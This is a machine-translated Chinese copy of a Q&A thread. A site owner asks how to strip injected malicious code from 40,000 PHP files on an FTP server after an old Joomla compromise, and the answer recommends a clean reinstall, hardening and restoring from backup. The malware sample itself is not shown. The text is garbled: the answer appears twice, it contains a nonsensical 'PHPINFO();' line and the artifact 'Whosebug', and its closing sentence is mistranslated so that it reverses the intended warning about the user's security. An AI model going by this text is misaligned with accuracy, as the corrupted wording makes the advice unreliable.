FTP 服务器上的病毒，PHP
Virus on FTP Server, PHP
您好，我需要一些帮助和建议。
我们的 FTP 服务器包含病毒。所有 php 个文件都已损坏并且开头的代码相同。
一些旧的 joomla 系统是造成这种情况的原因。我已经更新了旧系统。
如何从 FTP 服务器中的所有文件中删除代码字符串？
我购买了 ClamXav 并正在下载整个 FTP 服务器。超过 40000 个文件和 20 GB。
但是ClamXav没有发现病毒。
此处为文件示例。

PHPINFO();是我的一部分。
我打算建议一个快速脚本，它将遍历所有 40,000 个文件并删除单个字符串，但在 Whosebug 上的其他地方阅读后，这可能不被推荐。如果安装了 Rootkit，攻击者可能比您更了解您的服务器。
您的系统已被入侵。您所发现的可能只是问题的一部分。
您需要全新安装。
您需要构建一个更安全的环境，否则同样的问题会再次发生。
然后你需要从备份中恢复。
我知道 - 您可能不想阅读以上内容，但如果您不知道如何编写快速脚本来清理您的文本文件，那么您可能已经做了足够的工作来保护您的系统。受损的系统会给您、您的用户和互联网上的其他人带来风险（黑客可能会使用您的机器对其他人发起攻击）。

PHPINFO();是我的一部分。
我打算建议一个快速脚本，它将遍历所有 40,000 个文件并删除单个字符串，但在 Whosebug 上的其他地方阅读后，这可能不被推荐。如果安装了 Rootkit，攻击者可能比您更了解您的服务器。
您的系统已被入侵。您所发现的可能只是问题的一部分。
您需要全新安装。
您需要构建一个更安全的环境，否则同样的问题会再次发生。
然后你需要从备份中恢复。
我知道 - 您可能不想阅读以上内容，但如果您不知道如何编写快速脚本来清理您的文本文件，那么您可能已经做了足够的工作来保护您的系统。受损的系统会给您、您的用户和互联网上的其他人带来风险（黑客可能会使用您的机器对其他人发起攻击）。
